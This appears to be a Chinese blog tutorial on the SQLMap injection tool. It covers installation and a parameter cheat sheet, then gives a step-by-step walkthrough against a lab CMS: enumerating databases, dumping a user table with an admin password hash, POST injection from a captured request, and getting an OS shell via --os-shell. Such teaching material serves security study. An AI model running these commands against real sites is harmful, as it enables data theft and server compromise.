4.SQL注入工具

其余web文章参考:web学习目录

SQLMap 是一款专注于SQLi 的工具,堪称神器。SQLmap 基于Python 语言编写的命令行工具,集成在Kali 中

SQLMap 的安装与更新

自带SQLMap 更新

sudo apt-get update 
sudo apt-get install sqlmap

或者使用源码包安装

git clone https://github.com/sqlmapproject/sqlmap.git 
git fetch 
git pull

参数速查:

参数 含义
-u 检测注入点
--dbs 列出所有的库名
--current-user 当前连接数据库用户的名字
--current-db 当前数据库的名字
-D "cms" 指定目标数据库为cms
--tables 列出数据库中所有的表名
-T "cms_users" 指定目标表名为'cms_users'
--columns 列出所有的字段名
-C 'username,password' 指定目标字段
--dump 列出字段内容
-r 从文件中读取HTTP 请求
--os-shell 在特定情况下,可以直接获得目标系统Shell
--level 3 设置sqlmap 检测等级 3
--cookie="username=admin" 携带Cookie 信息进行注入
-g 利用google 搜索引擎自动搜索注入点
--batch 使用默认选项

SQLmap实战:

利用sql注入得到cms网站的数据库密码,库-表-列

注入点:http://192.168.2.133/cms/show.php?id=32
sqlmap -u "http://10.10.10.1/show.php?id=33" 
//注入点检测,检测可以用哪些注入
sqlmap -u "http://10.10.10.1/show.php?id=33" --dbs 
//获取数据库名字
sqlmap -u "http://10.10.10.1/show.php?id=33" --current-db 
//查看当前连接的数据库
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" --tables 
//查看cms这个数据库里面的表
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" -T "cms_users" --columns 
//列举cms_users这张表里有哪些列,即字段名
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" -T "cms_users" -C "username,password" --dump
//最终结果如下
Database: cms
Table: cms_users
[2 entries]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| 1        | 2                                |
| admin    | e10adc3949ba59abbe56e057f20f883e |
+----------+----------------------------------+

post注入:

先找到登录界面,用bp截取登录的报文,send to repeater模块之后,保存到/tmp下为login.post文件

sqlmap -r /tmp/login.post  --batch
//batch就是全部yes
结果为:

没有联合查询是因为数据库中的内容没有在页面中显示,只显示了账号错误

直接getshell

受到secure_file_priv 选项的限制;

目标系统Web 根目录的绝对路径。

sqlmap -u "http://192.168.2.133/cms/show.php?id=33" --os-shell

利用sql注入漏洞在网站根目录创建了两个随机文件

posted @ 2023-03-30 11:10  热死也要烫头  阅读(68)  评论(0编辑  收藏  举报